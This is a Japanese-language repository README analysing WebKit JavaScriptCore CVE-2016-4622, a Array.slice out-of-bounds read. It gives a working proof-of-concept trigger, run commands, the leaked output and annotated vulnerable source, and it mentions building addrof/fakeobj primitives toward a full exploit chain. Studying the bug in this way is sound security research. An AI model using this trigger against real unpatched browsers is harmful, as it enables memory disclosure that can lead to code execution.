
私のWebKit CVE-2016-4622 エクスプロイトプロセスへの旅
Array.slice 操作を介してメモリ開示を実現する WebKit JavaScript Core 脆弱性の包括的な解析と悪用
このリポジトリには CVE-2016-4622 の包括的な解析が含まれています。これは WebKit の JavaScript Core エンジンにおける重要なメモリ開示脆弱性です。この脆弱性は Array.slice() の実装における競合状態に起因し、隣接するメモリ内容を漏洩させるために悪用される可能性があります。これは addrof や fakeobj のようなより洗練された悪用プリミティブの基盤として機能します。
影響: メモリ開示によりリモートコード実行の可能性
影響を受けるコンポーネント: WebKit JavaScript Core (JSC)
根本原因: fastSlice 実装における Time-of-check-time-of-use (TOCTOU) 脆弱性
脆弱性は WebKit の最適化された Array.slice() メソッドの「高速パス」に存在します。スライスパラメータを処理する際、エンジンはオブジェクト引数を valueOf() メソッドを呼び出してプリミティブ値に変換します。この変換はスライス操作パラメータの決定 後 に行われますが、実際のメモリコピー操作の 前 に行われます。
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print(b);
発生する処理:
a が 100 要素で作成されるvalueOf() が呼び出されるvalueOf() が配列の長さを 0 に縮小するmemcpy が空の配列から 10 要素をコピーしようとするWebKit-CVE-2016-4622/
├── Saelo-Exploit-CVE-2016-4622/ # Saelo による参照実装
├── Exploit/ # カスタム悪用試行
│ ├── poc-memleak.js # メモリリークの概念実証
│ └── slice_over_array.js # 教育用サンプル
├── WebKit-SRC-CVE-2016-4622/ # 脆弱なソースコード (コミット 320b1fc)
├── WebKit-Bins/ # テスト用コンパイル済みバイナリ
│ ├── Debug/ # シンボル付きデバッグビルド
│ └── ASAN/ # AddressSanitizer 有効ビルド
└── Screenshoots/ # 視覚的なドキュメント
バイナリ: VMWare OSX 10.11 上で XCode 7.3.2 を使用してプリコンパイルされた JSC バイナリ アーキテクチャ: x86_64 Mach-O 実行ファイル デバッグ機能: シンボル + AddressSanitizer による包括的な解析
cd WebKit-Bins/Debug
export DYLD_FRAMEWORK_PATH=$(pwd)
./jsc ../../Exploit/poc-memleak.js
# メモリリークを示す期待される出力:
# 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
Array.slice(begin, end) メソッドは、配列の一部の浅いコピーを作成します。通常の状況では:
var array = ['a', 'b', 'c', 'd'];
var subset = array.slice(1, 3); // ['b', 'c'] を返す
重要な insight: end パラメータは valueOf() を介して型変換を受け、悪用の窓を作り出します。
脆弱性がトリガーされると、AddressSanitizer が以下の呼び出しフローをキャプチャします:
#0 memcpy-param-overlap detected
#1 JSC::JSArray::fastSlice()
#2 JSC::arrayProtoFuncSlice()
#3 JavaScript execution context

arrayProtoFuncSlice() - エントリポイント場所: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:848-887
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
unsigned length = getLength(exec, thisObj); // 初期の長さ: 100
// 重要: ここでパラメータ変換が行われる
unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
// 高速パスの決定
std::pair<SpeciesConstructResult, JSObject*> speciesResult =
speciesConstructArray(exec, thisObj, end - begin);
if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
// ここで脆弱性がトリガーされる
if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
return JSValue::encode(result);
}
// ... フォールバック実装
}
argumentClampedIndexFromStartOrEnd() - 変換トリガー場所: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:224-236
static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
JSValue value = exec->argument(argument);
if (value.isUndefined())
return undefinedValue;
// 重要: ここで valueOf() が呼ばれる
double indexDouble = value.toInteger(exec);
if (indexDouble < 0) {
indexDouble += length;
return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
}
return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}
競合状態:
{valueOf: function() { a.length = 0; return 10; }} を処理する際value.toInteger(exec) が悪意のある valueOf() を呼び出すfastSlice() - メモリ破壊が発生する場所場所: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/JSArray.cpp:692-720
JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
auto arrayType = indexingType();
switch (arrayType) {
case ArrayWithDouble:
case ArrayWithInt32:
case ArrayWithContiguous: {
// ... セットアップコード ...
auto& resultButterfly = *resultArray->butterfly();
if (arrayType == ArrayWithDouble)
// 脆弱性: 配列境界を超えて読み取る
memcpy(resultButterfly.contiguousDouble().data(),
m_butterfly.get()->contiguousDouble().data() + startIndex,
sizeof(JSValue) * count);
// ...
}
}
メモリ破壊:
startIndex = 0, count = 10valueOf() によって変更)memcpy はインデックス 0 から 10 個の JSValue を読み取るセットアップフェーズ
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
トリガーフェーズ
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
悪用フェーズ
valueOf() を呼び出すfastSlice が空の配列から 10 要素をコピーしようとする結果
0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
Before valueOf(): [0.123][1.123][2.123]...[99.123] (length=100)
After valueOf(): [] (length=0)
memcpy reads: [0.123][1.123][LEAKED][LEAKED][LEAKED]...
| コンポーネント | 問題 | 影響 |
|---|
この脆弱性は以下の基盤として機能します:
addrof/fakeobj プリミティブのセットアップ緩和戦略:
memcpy 操作の前に配列境界を検証する320b1fc3f6f研究期間: 2020年4月11-12日
ステータス: 解析完了 ✅
次のステップ: addrof/fakeobj プリミティブを用いた完全な悪用チェーンの開発
| パラメータ処理 | argumentClampedIndexFromStartOrEnd における TOCTOU | 処理中の状態変更を許可 |
| 高速パスロジック | fastSlice における不十分な検証 | 境界チェックの回避 |
| メモリ操作 | 配列コピーにおけるチェックなしの memcpy | 直接的なメモリ開示 |